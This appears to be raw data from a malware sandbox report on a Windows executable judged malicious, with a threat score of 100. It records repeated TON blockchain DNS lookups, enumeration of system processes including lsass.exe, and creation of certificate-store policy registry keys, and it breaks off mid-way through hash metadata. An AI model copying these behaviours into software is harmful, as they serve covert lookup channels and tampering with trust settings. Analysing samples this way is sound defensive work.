X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:53 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523113.234811 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:55 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523115.308411 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:56 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523116.379232 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:31:57 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523117.446044 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:08 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523128.445733 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:09 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523130.515102 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:10 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523131.583140 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:12 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523133.652967 VS0 VE1 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:13 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523134.724755 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:14 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523135.791296 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:16 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523137.863110 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:17 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523138.925964 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:18 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523139.994205 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:30 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523150.011733 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:31 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523151.081345 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:32 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523152.100644 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:34 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523154.171869 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:35 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523155.241760 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:36 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523156.311583 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Sun 27 Sep 2026 15:32:38 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790523158.392389 VS0 VE0 X-Served-By: cache-lax-kwhp1940099-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body44:T656,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter System" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter fontdrvhost.exe" (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00001124)45:Te9c,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790523341316,"unified_at":"2026-09-27T15:35:41.316Z","metadata":{"hashes":{"sha256":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","sha1":"a0c705bdf32d4443952db287d5534725aa8a67d2","md5":"c17e0ff66c5f4934c655c46d2a75ebf5","sha512":"79e5229e554ce311360dda8e7639253df3d89cf30fc65943f67e7bc52724604103d9d7e283aedeb359eeecc4c137a8940e786695f6d6e3a5712302414ba22b0c","ssdeep":"98304:vo/EPGgRFBsxu7gEpf9Wwz179lr0Nnm+bh5sbUxB:5PGy7n1Jz1Itbh2b6B","ssdeep_chunks":["98304:vo/EPGg","98304:o/EPGgR","98304:/EPGgRF","98304:EPGgRFB","98304:PGgRFBs","98304:GgRFBsx","98304:gRFBsxu","98304:RFBsxu7","98304:FBsxu7g","98304:Bsxu7gE","98304:sxu7gEp","98304:xu7gEpf","98304:u7gEpf9","98304:7gEpf9W","98304:gEpf9Ww","98304:Epf9Wwz","98304:pf9Wwz1","98304:f9Wwz17","98304:9Wwz179","98304:Wwz179l","98304:wz179lr","98304:z179lr0","98304:179lr0N","98304:79lr0Nn","98304:9lr0Nnm","98304:lr0Nnm+","98304:r0Nnm+b","98304:0Nnm+bh","98304:Nnm+bh5","98304:nm+bh5s","98304:m+bh5sb","98304:+bh5sbU","98304:bh5sbUx","98304:h5sbUxB","196608:vo/EPGg","196608:o/EPGgR","196608:/EPGgRF","196608:EPGgRFB","196608:PGgRFBs","196608:GgRFBsx","196608:gRFBsxu","196608:RFBsxu7","196608:FBsxu7g","196608: